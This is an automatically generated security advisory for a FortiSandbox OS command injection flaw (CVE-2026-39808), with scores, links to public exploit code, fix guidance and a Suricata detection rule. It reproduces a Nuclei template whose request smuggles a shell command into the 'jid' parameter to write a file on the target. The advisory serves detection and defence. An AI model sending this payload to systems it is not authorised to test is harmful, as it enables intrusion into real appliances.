CVE-2026-39808: Fortinet FortiSandbox OS Command Injection Vulnerability

What it is

A improper neutralization of special elements used in an os command (‘os command injection’) vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>

Description quoted from the CVE record (assigned by fortinet, published 2026-04-14).

Weakness: Execute unauthorized code or commands

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2026-07-16

US federal deadline

2026-07-19

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-05445, CNVD-2026-21562, EUVD-2026-22338, GHSA-wfjv-vrx5-2cf2

VEDAS cluster: VEDAS:FOXLAMBDA

Exploit Observer links 13 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (13)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-39808.yaml
• Code repository: https://github.com/0xblackash/cve-2026-39808
• Code repository: https://github.com/error-inside/cve-2026-39808
• Code repository: https://github.com/ghost-bx1/fortinet-exploits-cve-2026-39808-106173-107656
• Code repository: https://github.com/gotr00t0day/cve-2026-39808
• Code repository: https://github.com/lechansky/cve-2026-39808
• Code repository: https://github.com/samu-delucas/cve-2026-39808
• Code repository: https://github.com/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-39808.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-39808.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-39808.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-39808.rules
• and 1 more

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-22338
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-wfjv-vrx5-2cf2
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-39808
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39808
• Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2026-21562

4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.932
very likely to be attacked soon

VEDAS

0.982
strong exploit evidence

On CISA KEV

Yes, since 2026-07-16

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: fortinet fortisandbox, fortinet_inc. fortisandbox.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

• https://fortiguard.fortinet.com/psirt/FG-IR-26-100
• https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
• https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
• https://nvd.nist.gov/vuln/detail/CVE-2026-39808

How to detect it

Nuclei template (active check)

Fortinet FortiSandbox - Command Injection

A improper neutralization of special elements used in an os command (‘os command injection’) vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+..., GET /ng/{{filename}}.txt); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-39808.yaml

id: CVE-2026-39808

info:
  name: "Fortinet FortiSandbox - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A improper neutralization of special elements used in an os command ('os command injection') vulnerability in
    Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via
    <insert attack vector here>
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-39808&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=fortisandbox&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39808
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev
variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'fortisandbox')"
        internal: true

  - raw:
      - |
        GET /ng/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and

CVE-2026-39808.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-39808 Fortinet FortiSandbox - Command Injection. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-39808 Fortinet FortiSandbox - Command Injection"; flow:established,to_server; http.uri; content:"/fortisandbox/job-detail/tracer-behavior"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-39808; reference:url,https://www.exploit.observer/?keyword=CVE-2026-39808&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=fortisandbox&match=exact; sid:1010381; rev:1;)

CVE-2026-39808.rules on GitHub

References

Exploits and technical analysis

• https://github.com/samu-delucas/CVE-2026-39808 (exploit)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39808 (government-resource)

Other references

• https://fortiguard.fortinet.com/psirt/FG-IR-26-100

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.